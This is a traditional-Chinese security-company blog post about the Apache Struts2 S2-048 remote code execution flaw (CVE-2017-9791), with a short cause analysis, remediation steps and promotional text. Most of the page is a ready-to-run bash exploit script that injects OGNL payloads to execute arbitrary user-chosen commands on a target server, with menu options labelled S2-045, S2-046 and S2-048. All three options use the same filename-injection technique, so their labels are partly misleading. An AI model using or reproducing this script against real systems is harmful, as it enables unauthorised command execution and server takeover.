eSafe白帽駭客資安網-網絡安全背後的巨人,提供駭客,網站入侵測試,網站被駭,網站漏洞,駭客入侵,資訊安全,入侵,ecshop,wordpress,漏洞修復,木馬清除,資安服務

Struts2(S2-048)遠程代碼高危執行漏洞 修復方案

 
 
            Apache Struts 2.3.x的strus1插件存在遠程代碼執行的高危漏洞,漏洞編號為
 
CVE-2017-9791(S2-048)。在Struts 2.3.x 版本上的Showcase 插件ActionMessage
 
類中,通過構建不可信的輸入可實現遠程命令攻擊。漏洞成因是當ActionMessage接
 
收客戶可控的參數數據時,由於後續數據拼接傳遞後處理不當導致任意代碼執行。
 
如何判斷struts2開發的網站存在漏洞呢? 點擊查看

 
攻擊者可以構造惡意的字段值通過Struts2的Struts1的插件,遠程執行代碼,大概意
 
思就是說“Struts 2.3.x系列中的Struts 1插件示例中的Struts Showcase應用程序
 
中可以執行系統命令。eSafe白帽資安網公司是一家專注於:主機安全、網站安全、網站安
 
全檢測、網站漏洞修復,滲透測試,安全服務於一體的網絡安全服務提供商。
 
 
先分析一下這個漏洞,由於是struts2-showcase應用裡面導致的,按照 Apache官方
 
網站文檔裡的寫法才會導致這種問題。

 

 
Struts2 (S2-048)POC:
 
#! /bin/bash
 
eses(){
echo -e  "     "
echo -e  " struts2-045 046 048  Exploit Poc   Byesafe.tw   "
echo -e  "     "
echo -e  " [1]Struts2-045    "
echo -e  " [2]Struts2-046    "
echo -e  " [3]Struts2-048    "
echo -e  " > \c "
read st2045
  case $st2045 in
    1)
echo -e  " > \c "
read url
echo -e  " > \c "
read cmd
shift
shift
boundary="---------------------------735323031399963166993862150"
content_type="multipart/form-data; boundary=$boundary"
payload=$(echo "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='$cmd ').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")
 
printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@
;;
2)
echo -e  " > \c "
read url1
echo -e  " > \c "
read cmd2
shift
shift
boundary="---------------------------735323031399963166993862150"
content_type="multipart/form-data; boundary=$boundary"
payload=$(echo "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd2"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")
 
printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url1" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@
;;
    3)
echo -e  " > \c "
read url
echo -e  " > \c "
read cmd3
shift
shift
boundary="---------------------------735323031399963166993862150"
content_type="multipart/form-data; boundary=$boundary"
payload=$(echo "%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='$cmd3').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}")
 
 
 
printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@
;;
 esac
}
eses
 
 
上面的漏洞POC中我們可以看出,這個漏洞本質上是在Apache struts2-struts1-
 
plugin這個jar包裡,這個庫是用將Apache struts1的action封裝成Apache struts2
 
的action以便在strut2上使用。本質原因還是在struts2-struts1-plugin包中
 
Struts1Action.java中execute函數調用了getText函數,這個函數會執行ognl表達式
 
,通過調用getText的輸入內容,插入惡意的攻擊參數,導致該漏洞可以執行Linux系
 
統命令,並被駭客所利用直接獲取管理員權限。eSafe白帽資安網公司是一家專注於:主機
 
安全、網站安全、網站安全檢測、網站漏洞修復,滲透測試,安全服務於一體的網絡安
 
全服務提供商。
 
 
以下分析基於struts2的官方示例struts2-showcase war包。首先Struts1Action的
 
execute方法代碼如下,從紅框中信息可以看出其實質是調用
 
SaveGangsterAction.execute方法,然後再調用getText(msg.getKey()….)

S2-048修復方案
 
一、升級Apache Struts到2.5.10.1最新版本。
 
二、避免使用Apache struts2-struts1-plugin這個插件。非必要的情況下可以將
 
Apache struts2-struts1-plugin-2.3.x.jar文件從 “/WEB-INF/lib”目錄中直接刪
 
除。如果使用該插件時避免使用拼接的方式將原始消息直接傳遞給ActionMessage。
 
如果對Struts2 漏洞修復不懂的話,建議找專業的網站安全公司來解決,國內也就esafe.tw和綠盟等安全公司比較專業.
 
分享: